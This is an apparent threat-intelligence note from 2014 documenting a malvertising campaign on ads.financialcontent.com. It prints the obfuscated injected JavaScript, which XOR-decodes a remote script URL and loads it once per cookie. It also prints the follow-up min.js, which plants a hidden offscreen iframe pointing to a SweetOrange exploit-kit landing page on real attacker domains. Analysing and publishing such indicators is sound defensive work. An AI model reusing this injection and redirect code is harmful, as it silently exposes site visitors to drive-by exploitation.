IOC - ads.financialcontent.com - 2014-10-15

// Example of a malvertising page at ads.financialcontent.com - ads.financialcontent.com/www/delivery/afr.php?n=fcad7468269&&zoneid=2947&cb=fcad7468269

// The following 'bonus' JS is injected into returned page

<script>
    var w = 0x00;
    var fUBpk = "1bffdfdf781a09d923064b69ccd35fc4e356e913b0b104ffc62ab8d444c329b62644cafc73a03adc7bf5ca3c016aac2356db";
    var teKK = "738babaf423526b04d65390ca1b631b0823ac761dfc565d1a15fcaa16ba65dde4f27ab905cd05fa85497b3136c03c20d3ca8";
    var JoIRJ = "";
    for (var i = 0; i < (fUBpk.length / 2); i++) {
        JoIRJ += String.fromCharCode(parseInt((fUBpk[w] + fUBpk[w + 1]), 16) ^ parseInt((teKK[w] + teKK[w + 1]), 16));
        w += 2;
    }
    var celebrate = document.getElementsByTagName("he" + "ad").item(0);
    var peabody = document.createElement("sc" + "ri" + "pt");
    peabody.setAttribute("t" + "ype", "te" + "xt/java" + "scr" + "ipt");
    peabody.setAttribute("a" + "sync", "t" + "rue");
    peabody.setAttribute("s" + "rc", JoIRJ);
    if (document.cookie.indexOf("hardtline") == -1) {
        document.cookie = "hardtline=job; path=/; expires=Sun, 19 Oct 14 03:00:18 +0400;";
        celebrate.appendChild(peabody);
    }
</script>

// This will produce and request the following URL - http://incremental.rota.guru/ethical/pet/by/min.js

// The content of 'min.js' is quite simple. All it does is redirecting to SweetOrange EK landing page.

var simplicity = document.createElement("iframe");
simplicity.setAttribute("src", "http://feature.eduardadior.com:15106/reply/pm/spacer.php?files=322");
simplicity.style.position = "abs" + "olute";
simplicity.style.left = "-9871px";
simplicity.style.top = "-4466px";
simplicity.style.width = "147";
simplicity.style.height = "144";
document.body.appendChild(simplicity);